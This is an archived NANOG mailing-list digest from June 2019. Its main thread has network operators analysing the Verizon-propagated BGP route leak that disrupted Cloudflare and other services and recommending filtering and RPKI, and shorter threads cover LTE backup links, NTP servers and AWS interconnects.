attachment was scrubbed... URL: From me at robbiet.us Mon Jun 24 12:20:44 2019 From: me at robbiet.us (Robbie Trencheny) Date: Mon, 24 Jun 2019 05:20:44 -0700 Subject: CloudFlare issues? In-Reply-To: References: <05BB24C5-9322-414B-B3DC-58BB6C895E80@gmail.com> Message-ID: *1204 UTC update* This leak is wider spread that just Cloudflare. *1208 UTC update* Amazon Web Services now reporting external networking problem On Mon, Jun 24, 2019 at 05:18 Tom Paseka wrote: > a Verizon downstream BGP customer is leaking the full table, and some more > specific from us and many other providers. > > On Mon, Jun 24, 2019 at 7:56 AM Robbie Trencheny wrote: > >> *1147 UTC update* Staring at internal graphs looks like global traffic >> is now at 97% of expected so impact lessening. >> >> On Mon, Jun 24, 2019 at 04:51 Dovid Bender wrote: >> >>> We are seeing issues as well getting to HE. The traffic is going via >>> Alter. >>> >>> >>> >>> On Mon, Jun 24, 2019 at 7:48 AM Robbie Trencheny wrote: >>> >>>> From John Graham-Cumming, CTO of Cloudflare, on Hacker News right now: >>>> >>>> This appears to be a routing problem with Level3. All our systems are >>>> running normally but traffic isn't getting to us for a portion of our >>>> domains. >>>> >>>> 1128 UTC update Looks like we're dealing with a route leak and we're >>>> talking directly with the leaker and Level3 at the moment. >>>> >>>> 1131 UTC update Just to be clear this isn't affecting all our traffic >>>> or all our domains or all countries. A portion of traffic isn't hitting >>>> Cloudflare. Looks to be about an aggregate 10% drop in traffic to us. >>>> >>>> 1134 UTC update We are now certain we are dealing with a route leak. >>>> >>>> On Mon, Jun 24, 2019 at 04:04 Antonios Chariton >>>> wrote: >>>> >>>>> Yes, traffic from Greek networks is routed through NYC (alter.net), >>>>> and previously it had a 60% packet loss. Now it’s still via NYC, but no >>>>> packet loss. This happens in GR-IX Athens, not GR-IX Thessaloniki, but the >>>>> problem definitely exists. >>>>> >>>>> Antonis >>>>> >>>>> >>>>> On 24 Jun 2019, at 13:55, Dmitry Sherman wrote: >>>>> >>>>> Hello are there any issues with CloudFlare services now? >>>>> >>>>> Dmitry Sherman >>>>> dmitry at interhost.net >>>>> Interhost Networks Ltd >>>>> Web: http://www.interhost.co.il >>>>> fb: https://www.facebook.com/InterhostIL >>>>> Office: (+972)-(0)74-7029881 Fax: (+972)-(0)53-7976157 >>>>> >>>>> >>>>> -- >>>> -- >>>> Robbie Trencheny (@robbie ) >>>> 925-884-3728 >>>> robbie.io >>>> >>> -- >> -- >> Robbie Trencheny (@robbie ) >> 925-884-3728 >> robbie.io >> > -- -- Robbie Trencheny (@robbie ) 925-884-3728 robbie.io -------------- next part -------------- An HTML attachment was scrubbed... URL: From me at robbiet.us Mon Jun 24 12:39:12 2019 From: me at robbiet.us (Robbie Trencheny) Date: Mon, 24 Jun 2019 05:39:12 -0700 Subject: CloudFlare issues? In-Reply-To: References: <05BB24C5-9322-414B-B3DC-58BB6C895E80@gmail.com> Message-ID: This is my final update, I’m going back to bed, wake me up when the internet is working again. https://news.ycombinator.com/item?id=20262316 —— 1230 UTC update We are working with networks around the world and are observing network routes for Google and AWS being leaked at well. On Mon, Jun 24, 2019 at 05:20 Robbie Trencheny wrote: > *1204 UTC update* This leak is wider spread that just Cloudflare. > > *1208 UTC update* Amazon Web Services now reporting external networking > problem > > On Mon, Jun 24, 2019 at 05:18 Tom Paseka wrote: > >> a Verizon downstream BGP customer is leaking the full table, and some >> more specific from us and many other providers. >> >> On Mon, Jun 24, 2019 at 7:56 AM Robbie Trencheny wrote: >> >>> *1147 UTC update* Staring at internal graphs looks like global traffic >>> is now at 97% of expected so impact lessening. >>> >>> On Mon, Jun 24, 2019 at 04:51 Dovid Bender wrote: >>> >>>> We are seeing issues as well getting to HE. The traffic is going via >>>> Alter. >>>> >>>> >>>> >>>> On Mon, Jun 24, 2019 at 7:48 AM Robbie Trencheny wrote: >>>> >>>>> From John Graham-Cumming, CTO of Cloudflare, on Hacker News right now: >>>>> >>>>> This appears to be a routing problem with Level3. All our systems are >>>>> running normally but traffic isn't getting to us for a portion of our >>>>> domains. >>>>> >>>>> 1128 UTC update Looks like we're dealing with a route leak and we're >>>>> talking directly with the leaker and Level3 at the moment. >>>>> >>>>> 1131 UTC update Just to be clear this isn't affecting all our traffic >>>>> or all our domains or all countries. A portion of traffic isn't hitting >>>>> Cloudflare. Looks to be about an aggregate 10% drop in traffic to us. >>>>> >>>>> 1134 UTC update We are now certain we are dealing with a route leak. >>>>> >>>>> On Mon, Jun 24, 2019 at 04:04 Antonios Chariton >>>>> wrote: >>>>> >>>>>> Yes, traffic from Greek networks is routed through NYC (alter.net), >>>>>> and previously it had a 60% packet loss. Now it’s still via NYC, but no >>>>>> packet loss. This happens in GR-IX Athens, not GR-IX Thessaloniki, but the >>>>>> problem definitely exists. >>>>>> >>>>>> Antonis >>>>>> >>>>>> >>>>>> On 24 Jun 2019, at 13:55, Dmitry Sherman >>>>>> wrote: >>>>>> >>>>>> Hello are there any issues with CloudFlare services now? >>>>>> >>>>>> Dmitry Sherman >>>>>> dmitry at interhost.net >>>>>> Interhost Networks Ltd >>>>>> Web: http://www.interhost.co.il >>>>>> fb: https://www.facebook.com/InterhostIL >>>>>> Office: (+972)-(0)74-7029881 Fax: (+972)-(0)53-7976157 >>>>>> >>>>>> >>>>>> -- >>>>> -- >>>>> Robbie Trencheny (@robbie ) >>>>> 925-884-3728 >>>>> robbie.io >>>>> >>>> -- >>> -- >>> Robbie Trencheny (@robbie ) >>> 925-884-3728 >>> robbie.io >>> >> -- > -- > Robbie Trencheny (@robbie ) > 925-884-3728 > robbie.io > -- -- Robbie Trencheny (@robbie ) 925-884-3728 robbie.io -------------- next part -------------- An HTML attachment was scrubbed... URL: From mel at beckman.org Mon Jun 24 13:35:53 2019 From: mel at beckman.org (Mel Beckman) Date: Mon, 24 Jun 2019 13:35:53 +0000 Subject: Cellular backup connections In-Reply-To: References: , Message-ID: <12F7216D-01EF-4963-BA7C-8EBD11B26740@beckman.org> I ran into this problem and Verizon told me that they filter ports 22 and 23 to help stem the tide of IoT attacks on their networks by cellular-connected phone and alarm systems. They said their operational model assumes that all traffic will be encrypted via either SSLVPN or IPSec. I’m using IPSec tuned for low traffic volume (i.e., keepalive disabled), and it’s working well for OBM. -mel On Jun 24, 2019, at 4:50 AM, Dovid Bender > wrote: I am getting the same for SSH and https traffic. It's strange. Where the response is something small like: Moved to this location. It works But when I try to load pages that are any bigger it fails. Like I said before I assume it's either an issue with the MTU or window szie. I was just wondering if anyone encountered such an issue before. It's not easy getting to someone that knows something. When you have some sort of concrete info the level1 techs tend to pass you along faster. On Mon, Jun 24, 2019 at 7:41 AM J. Hellenthal > wrote: Could be wrong on this but direct SSH on the LTE side may possibly be not allowed(filtered) and might just be something you could discuss in a ticket with Verizon. -- J. Hellenthal The fact that there's a highway to Hell but only a stairway to Heaven says a lot about anticipated traffic volume. On Jun 24, 2019, at 04:50, Dovid Bender > wrote: All, I finally got around to putting in a Verizon LTE connection and the ping times are pretty good. There is the occasional issue however for the most part ping times are < 50 ms. I have another strange issue though. When I try to ssh or connect via the endpoints web interface it fails. If I first connect via PPTP or SSL VPN then it works. I ruled out it being my IP since if I connect direct from the PPTP or SSL VPN box then it fails as well. It seems the tunnel does something (perhaps lowering the MTU or fragmenting packets) that allows it to work. Any thoughts? TIA. On Mon, Feb 4, 2019 at 8:18 AM Dovid Bender > wrote: Anyone know if Verizon static IP's over LTE have same issue where they bounce the traffic around before it gets back to the NY metro area? On Thu, Jan 3, 2019 at 6:46 PM Dovid Bender > wrote: All, Thanks for all of the feedback. I was on site today and noticed two things. 1) As someone mentioned it could be for static IP's they have the traffic going to a specific location. The POP is in NJ there was a min. latency of 120ms which prob had to do with this. 2) I was watching the ping times and it looked something like this: 400ms 360ms 330ms 300ms 260ms 210ms 170ms 140ms 120ms 400ms 375ms It seems to have been coming in "waves". I assume this has to do with "how cellular work" and the signal. I tried moving it around by putting it down low on the floor, moving it locations etc. and saw the same thing every time. I am going to try Verizon next and see how it goes. On Sat, Dec 29, 2018 at 12:13 PM Mark Milhollan > wrote: On Fri, 28 Dec 2018, Dovid Bender wrote: >I finally got around to setting up a cellular backup device in our new POP. >When SSH'ing in remotely the connection seems rather slow. Perhaps using MOSH can help make the interactive CLI session less annoying. >Verizon they charge $500.00 just to get a public IP and I want to avoid >that if possible. You might look into have it call out / maintain a connection back to your infrastructure. /mark -------------- next part -------------- An HTML attachment was scrubbed... URL: From job at instituut.net Mon Jun 24 14:11:22 2019 From: job at instituut.net (Job Snijders) Date: Mon, 24 Jun 2019 14:11:22 +0000 Subject: CloudFlare issues? In-Reply-To: References: <05BB24C5-9322-414B-B3DC-58BB6C895E80@gmail.com> Message-ID: <20190624141122.GC47956@vurt.meerval.net> On Mon, Jun 24, 2019 at 08:18:27AM -0400, Tom Paseka via NANOG wrote: > a Verizon downstream BGP customer is leaking the full table, and some more > specific from us and many other providers. It appears that one of the implicated ASNs, AS 33154 "DQE Communications LLC" is listed as customer on Noction's website: https://www.noction.com/clients/dqe I suspect AS 33154's customer AS 396531 turned up a new circuit with Verizon, but didn't have routing policies to prevent sending routes from 33154 to 701 and vice versa, or their router didn't have support for RFC 8212. I'd like to point everyone to an op-ed I wrote on the topic of "BGP optimizers": https://seclists.org/nanog/2017/Aug/318 So in summary, I believe the following happened: - 33154 generated fake more-specifics, which are not visible in the DFZ - 33154 announces those fake more-specifics to at least one customer (396531) - this customer (396531) propagated to to another upstream provider (701) - it appears that 701 did not sufficient prefix filtering, or a maximum-prefix limit While it is easy to point at the alleged BGP optimizer as the root cause, I do think we now have observed a cascading catastrophic failure both in process and technologies. Here are some recommendations that all of us can apply, that may have helped dampen the negative effects: - deploy RPKI based BGP Origin validation (with invalid == reject) - apply maximum prefix limits on all EBGP sessions - ask your router vendor to comply with RFC 8212 ('default deny') - turn off your 'BGP optimizers' I suspect we, collectively, suffered significant financial damage in this incident. Kind regards, Job From andree+nanog at toonk.nl Mon Jun 24 14:25:16 2019 From: andree+nanog at toonk.nl (Andree Toonk) Date: Mon, 24 Jun 2019 07:25:16 -0700 Subject: CloudFlare issues? In-Reply-To: References: Message-ID: <5D10DD4C.4030101@toonk.nl> This is what looked happened: There was a large scale BGP 'leak' incident causing about 20k prefixes for 2400 network (ASNs) to be rerouted through AS396531 (a steel plant) and then on to its transit provider: Verizon (AS701) Start time: 10:34:21 (UTC) End time: 12:37 (UTC) All ASpaths had the following in common: 701 396531 33154 33154 (DQECOM ) is an ISP providing transit to 396531. 396531 is by the looks of it a steel plant. dual homed to 701 and 33154. 701 is verizon and accepted by the looks of it all BGP announcements from 396531 What appears to have happened is that 33154 those routes were propagated to 396531, which then send them to Verizon and voila... there is the full leak at work. (DQECOM runs a BGP optimizer (https://www.noction.com/clients/dqe , thanks Job for pointing that out, more below) As a result traffic for 20k prefixes or so was now rerouted through verizon and 396531 (the steel plant) We've seen numerous incidents like this in the past lessons learned: 1) if you do use a BGP optimizer, please FILTER! 2) Verizon... filter your customers, please! Since the BGP optimizer introduces new more specific routes, a lot of traffic for high traffic destinations would have been rerouted through that path, which would have been congested, causing the outages. There were many cloudflare prefixes affected, but also folks like Amazon, Akamai, Facebook, Apple, Linode etc. here's one example for Amazon - CloudFront : 52.84.32.0/22. Normally announced as a 52.84.32.0/21 but during the incident as a /22 (remember more specifics always win) https://stat.ripe.net/52.84.32.0%2F22#tabId=routing&routing_bgplay.ignoreReannouncements=false&routing_bgplay.resource=52.84.32.0/22&routing_bgplay.starttime=1561337999&routing_bgplay.endtime=1561377599&routing_bgplay.rrcs=0,1,2,5,6,7,10,11,13,14,15,16,18,20&routing_bgplay.instant=null&routing_bgplay.type=bgp RPKI would have worked here (assuming you're strict with the max length)! Cheers Andree My secret spy satellite informs me that Dmitry Sherman wrote On 2019-06-24, 3:55 AM: > Hello are there any issues with CloudFlare services now? > > Dmitry Sherman > dmitry at interhost.net > Interhost Networks Ltd > Web: http://www.interhost.co.il > fb: https://www.facebook.com/InterhostIL > Office: (+972)-(0)74-7029881 Fax: (+972)-(0)53-7976157 > -------------- next part -------------- An HTML attachment was scrubbed... URL: From maxtul at netassist.ua Mon Jun 24 14:28:24 2019 From: maxtul at netassist.ua (Max Tulyev) Date: Mon, 24 Jun 2019 17:28:24 +0300 Subject: CloudFlare issues? In-Reply-To: References: Message-ID: <84b757f9-00c3-2294-9a67-02f0c35e4fe7@netassist.ua> Hi All, here in Ukraine we got an impact as well! Have two questions: 1. Why Cloudflare did not immediately announced all their address space by /24s? This can put the service up instantly for almost all places. 2. Why almost all carriers did not filter the leak on their side, but waited for "a better weather on Mars" for several hours? 24.06.19 13:55, Dmitry Sherman пише: > Hello are there any issues with CloudFlare services now? > > Dmitry Sherman > dmitry at interhost.net > Interhost Networks Ltd > Web: http://www.interhost.co.il > fb: https://www.facebook.com/InterhostIL > Office: (+972)-(0)74-7029881 Fax: (+972)-(0)53-7976157 > > From fhr at fhrnet.eu Mon Jun 24 14:40:35 2019 From: fhr at fhrnet.eu (Filip Hruska) Date: Mon, 24 Jun 2019 14:40:35 +0000 Subject: CloudFlare issues? In-Reply-To: <84b757f9-00c3-2294-9a67-02f0c35e4fe7@netassist.ua> References: <84b757f9-00c3-2294-9a67-02f0c35e4fe7@netassist.ua> Message-ID: <0102016b89ee7884-ffa548c6-f6fc-467f-bfe1-eacfc160fe6a-000000@eu-west-1.amazonses.com> Verizon is the one who should've noticed something was amiss and dropped their customer's BGP session. They also should have had filters and prefix count limits in place, which would have prevented this whole disaster. As to why any of that didn't happen, who actually knows. Regards, Filip On 6/24/19 4:28 PM, Max Tulyev wrote: > Why almost all carriers did not filter the leak on their side, but > waited for "a better weather on Mars" for several hours? -- Filip Hruska Linux System Administrator From jared at puck.nether.net Mon Jun 24 14:44:41 2019 From: jared at puck.nether.net (Jared Mauch) Date: Mon, 24 Jun 2019 10:44:41 -0400 Subject: Verizon Routing issue In-Reply-To: <84b757f9-00c3-2294-9a67-02f0c35e4fe7@netassist.ua> References: <84b757f9-00c3-2294-9a67-02f0c35e4fe7@netassist.ua> Message-ID: (Updating subject line to be accurate) > On Jun 24, 2019, at 10:28 AM, Max Tulyev wrote: > > Hi All, > > here in Ukraine we got an impact as well! > > Have two questions: > > 1. Why Cloudflare did not immediately announced all their address space by /24s? This can put the service up instantly for almost all places. They may not want to pollute the global routing table with these entries. It has a cost for everyone. If we all did this, the table would be a mess. > 2. Why almost all carriers did not filter the leak on their side, but waited for "a better weather on Mars" for several hours? There’s several major issues here - Verizon accepted garbage from their customer - Other networks accepted the garbage from Verizon (eg: Cogent) - known best practices from over a decade ago are not applied I’m sure reporters will be reaching out to Verizon about this and their response time should be noted. It was impacting to many networks. You should filter your transits to prevent impact from these more specifics. - Jared https://twitter.com/jaredmauch/status/1143163212822720513 https://twitter.com/JobSnijders/status/1143163271693963266 https://puck.nether.net/~jared/blog/?p=208 From ml at kenweb.org Mon Jun 24 15:00:41 2019 From: ml at kenweb.org (ML) Date: Mon, 24 Jun 2019 11:00:41 -0400 Subject: Verizon Routing issue In-Reply-To: References: <84b757f9-00c3-2294-9a67-02f0c35e4fe7@netassist.ua> Message-ID: On 6/24/2019 10:44 AM, Jared Mauch wrote: > It was impacting to many networks. You should filter your transits to prevent impact from these more specifics. > > - Jared > > https://twitter.com/jaredmauch/status/1143163212822720513 > https://twitter.com/JobSnijders/status/1143163271693963266 > https://puck.nether.net/~jared/blog/?p=208 $MAJORNET filters between peers make sense but what can a transit customer do to prevent being affected by leaks like this one? From jared at puck.nether.net Mon Jun 24 15:03:19 2019 From: jared at puck.nether.net (Jared Mauch) Date: Mon, 24 Jun 2019 11:03:19 -0400 Subject: Verizon Routing issue In-Reply-To: References: <84b757f9-00c3-2294-9a67-02f0c35e4fe7@netassist.ua> Message-ID: > On Jun 24, 2019, at 11:00 AM, ML wrote: > > > On 6/24/2019 10:44 AM, Jared Mauch wrote: >> It was impacting to many networks. You should filter your transits to prevent impact from these more specifics. >> >> - Jared >> >> https://twitter.com/jaredmauch/status/1143163212822720513 >> https://twitter.com/JobSnijders/status/1143163271693963266 >> https://puck.nether.net/~jared/blog/?p=208 > > > $MAJORNET filters between peers make sense but what can a transit customer do to prevent being affected by leaks like this one? Block routes from 3356 (for example) that don’t go 701_3356_ 701_2914_ 701_1239_ etc (if 701 is your transit and you are multi homed) Then you won’t accept the more specifics. If you point default it may not be any help. - Jared From maxtul at netassist.ua Mon Jun 24 15:12:15 2019 From: maxtul at netassist.ua (Max Tulyev) Date: Mon, 24 Jun 2019 18:12:15 +0300 Subject: Verizon Routing issue In-Reply-To: References: <84b757f9-00c3-2294-9a67-02f0c35e4fe7@netassist.ua> Message-ID: <12f75c1d-5a2a-49a4-6ef7-34d2ab4d6364@netassist.ua> 24.06.19 17:44, Jared Mauch пише: >> 1. Why Cloudflare did not immediately announced all their address space by /24s? This can put the service up instantly for almost all places. > They may not want to pollute the global routing table with these entries. It has a cost for everyone. If we all did this, the table would be a mess. yes, it is. But it is a working, quick and temporary fix of the problem. >> 2. Why almost all carriers did not filter the leak on their side, but waited for "a better weather on Mars" for several hours? > There’s several major issues here > > - Verizon accepted garbage from their customer > - Other networks accepted the garbage from Verizon (eg: Cogent) > - known best practices from over a decade ago are not applied That's it. We have several IXes connected, all of them had a correct aggregated route to CF. And there was one upstream distributed leaked more specifics. I think 30min maximum is enough to find out a problem and filter out it's source on their side. Almost nobody did it. Why? From morrowc.lists at gmail.com Mon Jun 24 15:13:18 2019 From: morrowc.lists at gmail.com (Christopher Morrow) Date: Mon, 24 Jun 2019 11:13:18 -0400 Subject: CloudFlare issues? In-Reply-To: <0102016b89ee7884-ffa548c6-f6fc-467f-bfe1-eacfc160fe6a-000000@eu-west-1.amazonses.com> References: <84b757f9-00c3-2294-9a67-02f0c35e4fe7@netassist.ua> <0102016b89ee7884-ffa548c6-f6fc-467f-bfe1-eacfc160fe6a-000000@eu-west-1.amazonses.com> Message-ID: On Mon, Jun 24, 2019 at 10:41 AM Filip Hruska wrote: > > Verizon is the one who should've noticed something was amiss and dropped > their customer's BGP session. > They also should have had filters and prefix count limits in place, > which would have prevented this whole disaster. > oddly VZ used to be quite good about filtering customer seesions :( there ARE cases where: "customer says they may announce X" and that doesn't happen along a path expected :( For instance they end up announcing a path through their other transit to a prefix in the permitted list on the VZ side :( it doesn't seem plausible that that is what was happening here though, I don't expect the duquesne folk to have customer paths to (for instance) savi moebel in germany... there are some pretty fun as-paths in the set of ~25k prefixes leaked (that routeviews saw). From jared at puck.nether.net Mon Jun 24 15:15:56 2019 From: jared at puck.nether.net (Jared Mauch) Date: Mon, 24 Jun 2019 11:15:56 -0400 Subject: Verizon Routing issue In-Reply-To: <12f75c1d-5a2a-49a4-6ef7-34d2ab4d6364@netassist.ua> References: <84b757f9-00c3-2294-9a67-02f0c35e4fe7@netassist.ua> <12f75c1d-5a2a-49a4-6ef7-34d2ab4d6364@netassist.ua> Message-ID: > On Jun 24, 2019, at 11:12 AM, Max Tulyev wrote: > > 24.06.19 17:44, Jared Mauch пише: >>> 1. Why Cloudflare did not immediately announced all their address space by /24s? This can put the service up instantly for almost all places. >> They may not want to pollute the global routing table with these entries. It has a cost for everyone. If we all did this, the table would be a mess. > > yes, it is. But it is a working, quick and temporary fix of the problem. Like many things (eg; ATT had similar issues with 12.0.0.0/8) now there’s a bunch of /9’s in the table that will likely never go away. >>> 2. Why almost all carriers did not filter the leak on their side, but waited for "a better weather on Mars" for several hours? >> There’s several major issues here >> - Verizon accepted garbage from their customer >> - Other networks accepted the garbage from Verizon (eg: Cogent) >> - known best practices from over a decade ago are not applied > > That's it. > > We have several IXes connected, all of them had a correct aggregated route to CF. And there was one upstream distributed leaked more specifics. > > I think 30min maximum is enough to find out a problem and filter out it's source on their side. Almost nobody did it. Why? I have heard people say “we don’t look for problems”. This is often the case, there is a lack of monitoring/awareness. I had several systems detect the problem, plus things like bgpmon also saw it. My guess is people that passed this on weren’t monitoring either. It’s often manual procedures vs automated scripts watching things. Instrumentation of your network elements tends to be a small set of people who invest in it. You tend to need some scale for it to make sense, and it also requires people who understand the underlying data for what is “odd”. This is why I’ve had my monitoring system up for the past 12+ years. It’s super simple (dumb) and catches a lot of issues. I implemented it again for the RIPE RIS Live service, but haven’t cut it over to be the primary (realtime) monitoring method vs watching route-views. I think it’s time to do that. - Jared From maxtul at netassist.ua Mon Jun 24 16:11:10 2019 From: maxtul at netassist.ua (Max Tulyev) Date: Mon, 24 Jun 2019 19:11:10 +0300 Subject: CloudFlare issues? In-Reply-To: References: <84b757f9-00c3-2294-9a67-02f0c35e4fe7@netassist.ua> Message-ID: 24.06.19 19:04, Matthew Walster пише: > > > On Mon, 24 Jun 2019, 16:28 Max Tulyev, > wrote: > > 1. Why Cloudflare did not immediately announced all their address space > by /24s? This can put the service up instantly for almost all places > Probably RPKI and that being a really bad idea that takes a long time to > configure across every device, especially when you're dealing with an > anycast network. Good idea is to prepare it and provisioning tools before ;) > 2. Why almost all carriers did not filter the leak on their side, but > waited for "a better weather on Mars" for several hours? > > > Probably most did not notice immediately, or trusted their fellow large > carrier peers to fix the matter faster than their own change control > process would accept such a drastic change that had not been fully > analysed and identified. The duration was actually quite low, on a human > scale... Did not notice a lot of calls "I can't access ..."? Really? OK, then another question. Which time from that calls starts to "people who know BGP know about it" is good? From beecher at beecher.cc Mon Jun 24 16:38:25 2019 From: beecher at beecher.cc (Tom Beecher) Date: Mon, 24 Jun 2019 12:38:25 -0400 Subject: Russian Anal Probing + Malware In-Reply-To: References: <46055.1561162415@segfault.tristatelogic.com> <0102016b8137b94b-ce4d0a67-92c5-48c5-952e-d69be862d6eb-000000@eu-west-1.amazonses.com> Message-ID: I chuckle the most at the original twitter post from Greynoise : "We have revoked the benign tag for OpenPortStats[.]com" Did anyone actually think such a thing would be legitimate to start with? :) On Mon, Jun 24, 2019 at 12:26 AM Hank Nussbacher wrote: > On 24/06/2019 00:23, Randy Bush wrote: > > e.g. i am aware of researchers scanning to see patching spread and > > trying to make a conext paper dreadline this week or infocom next month. > > > > hard to tell the sheep from the goats and the wolf from the sheep. i > > get the appended. sheep or wholf? i sure do not claim to be smart > > enough to know. but i sure am glad others are . > Greynoise can be your friend: > https://greynoise.io/about > https://viz.greynoise.io/table > > -Hank > > > > > randy > > > > --- > -------------- next part -------------- An HTML attachment was scrubbed... URL: From jerome at ceriz.fr Mon Jun 24 16:59:04 2019 From: jerome at ceriz.fr (=?UTF-8?Q?J=c3=a9r=c3=b4me_Nicolle?=) Date: Mon, 24 Jun 2019 18:59:04 +0200 Subject: AWS 40/100G wholesale Express-Route ? Message-ID: Hello everyone, I was wondering, is there any way to get more than a 10G port for a PNI with AWS customers ? Right now I'm looking at 4 ridiculously expensive X-Cos (on two locations, so that makes 8) to establish a redundant 40Gbps backhaul, where I have 40/100G ports available. How could we deal with that ? Is there an "off-market" offering for higher speed interconnects ? Best regards, -- Jérôme Nicolle +33 6 19 31 27 14 From nanog at haller.ws Fri Jun 21 03:25:09 2019 From: nanog at haller.ws (Patrick) Date: Fri, 21 Jun 2019 11:25:09 +0800 Subject: Cost effective time servers In-Reply-To: <672853c2-89a4-ed28-4920-1635daefdbe4@west.net> References: <672853c2-89a4-ed28-4920-1635daefdbe4@west.net> Message-ID: <20190621032509.GA22074@haller.ws> On 2019-06-20 20:18, Jay Hennigan wrote: > If you want to go really cheap and don't value your time, but do value > knowing the correct time, a GPS receiver with a USB interface and a > Raspberry Pi would do the trick. https://www.ntpsec.org/white-papers/stratum-1-microserver-howto/ RPi + GPS Hat because time across USB has much jitter. Patrick From quan at posteo.net Fri Jun 21 14:57:01 2019 From: quan at posteo.net (Quan Zhou) Date: Fri, 21 Jun 2019 22:57:01 +0800 Subject: Cost effective time servers In-Reply-To: References: <672853c2-89a4-ed28-4920-1635daefdbe4@west.net> Message-ID: <83e78542-28b3-98c9-db1c-992066e9ab90@posteo.net> Yep, went through the same route until I figured out that GPS time is a bit ahead of UTC. We simply use a windows NTP server for internal use at work, and I won't recommend doing so, because it went off the rails once for a while despite of having several upstream servers pointed to. Also there's a community out there dedicated for atomic clocks for civil use, it'd be fun to have one, set it up, and watch it ticking. On 6/21/2019 11:44 AM, Andy Ringsmuth wrote: >> On Jun 20, 2019, at 10:18 PM, Jay Hennigan wrote: >> >> On 6/20/19 07:39, David Bass wrote: >>> What are folks using these days for smaller organizations, that need to dole out time from an internal source? >> If you want to go really cheap and don't value your time, but do value knowing the correct time, a GPS receiver with a USB interface and a Raspberry Pi would do the trick. > Not sure how accurate you need, but I just use a Raspberry Pi as a pool.ntp.org node. I thought about going the GPS route with it but didn’t want to mess with it. > > > -Andy From mdr at tesp.com Fri Jun 21 15:20:23 2019 From: mdr at tesp.com (Michael Rathbun) Date: Fri, 21 Jun 2019 10:20:23 -0500 Subject: Cost effective time servers In-Reply-To: References: Message-ID: On Thu, 20 Jun 2019 10:39:41 -0400, David Bass wrote: >What are folks using these days for smaller organizations, that need to >dole out time from an internal source? If "internal" means a local NTP server independent of external network resources, the other responses are apposite. If "internal" means a stratum 2 NTP server dependent upon other servers on the network, and if you don't need accuracy in single-digit millisecond or better range, we've done well with an older ex-Windows machine that now runs FreeBSD and vanilla NTPD, and is now a pool server at ntp.org. ± six milliseconds, cost approaches the cube root of zero. mdr -- Sometimes half-ass is exactly the right amount of ass. -- Wonderella From jaden.roberts at serversaustralia.com.au Mon Jun 24 11:39:37 2019 From: jaden.roberts at serversaustralia.com.au (Jaden Roberts) Date: Mon, 24 Jun 2019 11:39:37 +0000 Subject: CloudFlare issues? In-Reply-To: <05BB24C5-9322-414B-B3DC-58BB6C895E80@gmail.com> References: , <05BB24C5-9322-414B-B3DC-58BB6C895E80@gmail.com> Message-ID: From https://www.cloudflarestatus.com/​: Identified - We have identified a possible route leak impacting some Cloudflare IP ranges and are working with the network involved to resolve this. Jun 24, 11:36 UTC Seeing issues in Australia too for some sites that are routing through Cloudflare. [https://info.serversaustralia.com.au/hubfs/Brand-2018/logo-font-sau.gif] Jaden Roberts Senior Network Engineer 4 Amy Close, Wyong, NSW 2259 Need assistance? We are here 24/7 +61 2 8115 8888 [https://app.frontapp.com/api/1/noauth/companies/servers_australia_pty_ltd/seen/msg_3d1x0hx/0/9d9184ad.gif] On June 24, 2019, 9:06 PM GMT+10 daknob.mac at gmail.com wrote: Yes, traffic from Greek networks is routed through NYC (alter.net), and previously it had a 60% packet loss. Now it’s still via NYC, but no packet loss. This happens in GR-IX Athens, not GR-IX Thessaloniki, but the problem definitely exists. Antonis On 24 Jun 2019, at 13:55, Dmitry Sherman > wrote: Hello are there any issues with CloudFlare services now? Dmitry Sherman dmitry at interhost.net Interhost Networks Ltd Web: http://www.interhost.co.il fb: https://www.facebook.com/InterhostIL Office: (+972)-(0)74-7029881 Fax: (+972)-(0)53-7976157 -------------- next part -------------- An HTML attachment was scrubbed... URL: From alexander.buie at datto.com Mon Jun 24 13:11:05 2019 From: alexander.buie at datto.com (Alex Buie) Date: Mon, 24 Jun 2019 09:11:05 -0400 Subject: Cellular backup connections In-Reply-To: References: Message-ID: We deploy routers with Verizon LTE failover - for full functionality, make sure your MTU is 1428 or less, per their specifications. Here's an example doc from Spirent that talks about it. https://support.spirent.com/SC_KnowledgeView?Id=FAQ14556 Alex On Mon, Jun 24, 2019, 7:51 AM Dovid Bender wrote: > I am getting the same for SSH and https traffic. It's strange. Where the > response is something small like: > > Moved to this location. > > It works But when I try to load pages that are any bigger it fails. Like I > said before I assume it's either an issue with the MTU or window szie. I > was just wondering if anyone encountered such an issue before. It's not > easy getting to someone that knows something. When you have some sort of > concrete info the level1 techs tend to pass you along faster. > > > > > > On Mon, Jun 24, 2019 at 7:41 AM J. Hellenthal > wrote: > >> Could be wrong on this but direct SSH on the LTE side may possibly be not >> allowed(filtered) and might just be something you could discuss in a ticket >> with Verizon. >> >> -- >> J. Hellenthal >> >> The fact that there's a highway to Hell but only a stairway to Heaven >> says a lot about anticipated traffic volume. >> >> On Jun 24, 2019, at 04:50, Dovid Bender wrote: >> >> All, >> >> I finally got around to putting in a Verizon LTE connection and the ping >> times are pretty good. There is the occasional issue however for the most >> part ping times are < 50 ms. I have another strange issue though. When I >> try to ssh or connect via the endpoints web interface it fails. If I first >> connect via PPTP or SSL VPN then it works. I ruled out it being my IP since >> if I connect direct from the PPTP or SSL VPN box then it fails as well. It >> seems the tunnel does something (perhaps lowering the MTU or fragmenting >> packets) that allows it to work. Any thoughts? >> >> TIA. >> >> >> >> >> On Mon, Feb 4, 2019 at 8:18 AM Dovid Bender wrote: >> >>> Anyone know if Verizon static IP's over LTE have same issue where they >>> bounce the traffic around before it gets back to the NY metro area? >>> >>> >>> >>> On Thu, Jan 3, 2019 at 6:46 PM Dovid Bender wrote: >>> >>>> All, >>>> >>>> Thanks for all of the feedback. I was on site today and noticed two >>>> things. >>>> 1) As someone mentioned it could be for static IP's they have the >>>> traffic going to a specific location. The POP is in NJ there was a min. >>>> latency of 120ms which prob had to do with this. >>>> 2) I was watching the ping times and it looked something like this: >>>> 400ms >>>> 360ms >>>> 330ms >>>> 300ms >>>> 260ms >>>> 210ms >>>> 170ms >>>> 140ms >>>> 120ms >>>> 400ms >>>> 375ms >>>> >>>> It seems to have been coming in "waves". I assume this has to do with >>>> "how cellular work" and the signal. I tried moving it around by putting it >>>> down low on the floor, moving it locations etc. and saw the same thing >>>> every time. I am going to try Verizon next and see how it goes. >>>> >>>> >>>> >>>> On Sat, Dec 29, 2018 at 12:13 PM Mark Milhollan >>>> wrote: >>>> >>>>> On Fri, 28 Dec 2018, Dovid Bender wrote: >>>>> >>>>> >I finally got around to setting up a cellular backup device in our >>>>> new POP. >>>>> >>>>> >When SSH'ing in remotely the connection seems rather slow. >>>>> >>>>> Perhaps using MOSH can 